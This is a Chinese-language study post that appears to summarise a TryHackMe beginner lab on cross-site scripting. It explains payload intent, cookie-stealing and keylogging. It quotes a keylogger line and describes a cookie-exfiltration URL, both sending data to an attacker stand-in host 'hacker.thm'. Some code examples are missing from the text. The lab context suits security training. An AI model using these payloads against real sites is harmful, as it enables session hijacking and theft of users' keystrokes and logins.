【THM】Cross-site Scripting(跨站脚本)-初级渗透测试

88 阅读3分钟

跨站脚本攻击(在网络安全社区中更广为人知的名称为 XSS)被归类为注入攻击,其中恶意 JavaScript 被注入到 Web 应用程序中,意图由其他用户执行。在这个房间中,您将了解不同的XSS类型、如何创建XSS有效负载、如何修改有效负载以逃避过滤器,然后以一个实际实验室结束,您可以在其中尝试新技能。

跨站点脚本漏洞极为常见。以下是一些 在海量应用中发现的XSS报告;发现并报告这些漏洞可以获得丰厚的报酬。  7500美金,算算多少人民币吧。羡慕

XSS有效负载

什么是有效负载?

在XSS中,有效负载是我们希望在目标计算机上执行的 JavaScript 代码。有效负载有两个部分,意图和修改。

意图是您希望 JavaScript 实际执行的操作(我们将在下面的一些示例中介绍),而修改是对我们需要的代码进行更改,以使其执行,因为每个场景都不同(在完善中详细介绍了这一点)您的有效负载任务)。

以下是XSS意图的一些示例。

概念证明:

这是最简单的有效负载,您所需要做的就是证明您可以在网站上实现XSS 。这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如:

会话窃取:

用户会话的详细信息(例如登录令牌)通常保存在目标计算机上的 cookie 中。下面的 JavaScript 获取目标的 cookie,对 cookie 进行 base64 编码以确保成功传输,然后将其发布到黑客控制下的网站以进行记录。一旦黑客拥有这些 cookie,他们就可以接管目标的会话并以该用户的身份登录。

可能有没学过javascript的,这里简单解释一下,  

'hacker.thm/steal?cooki…' 是请求的URL,这里的?cookie=表明后面会跟着一个cookie值。

btoa(document.cookie) 是一个函数调用,btoa 是Base64编码函数,document.cookie 是一个JavaScript对象属性,它包含了当前网页的所有cookie值。这个调用将当前页面的cookie值转换成Base64编码格式。

按键记录器:

下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制下的网站。如果网站将有效负载安装在接受的用户登录或信用卡详细信息上,这可能会造成很大的破坏。

代码解释:它会在文档中监听键盘事件。具体来说,它监听keypress事件,每当用户在键盘上按下并释放一个键时,就会执行定义好的函数。

document.onkeypress = function(e) { ... } 这部分代码为document对象上的keypress事件定义了一个事件处理程序。每当文档中发生keypress事件时,都会调用这个函数。

e 是一个事件对象,它包含了关于键盘事件的信息,如按下的键是哪一个(e.key)。

fetch('https://hacker.thm/log?key=' + btoa(e.key) ); 这段代码在键盘事件触发时执行。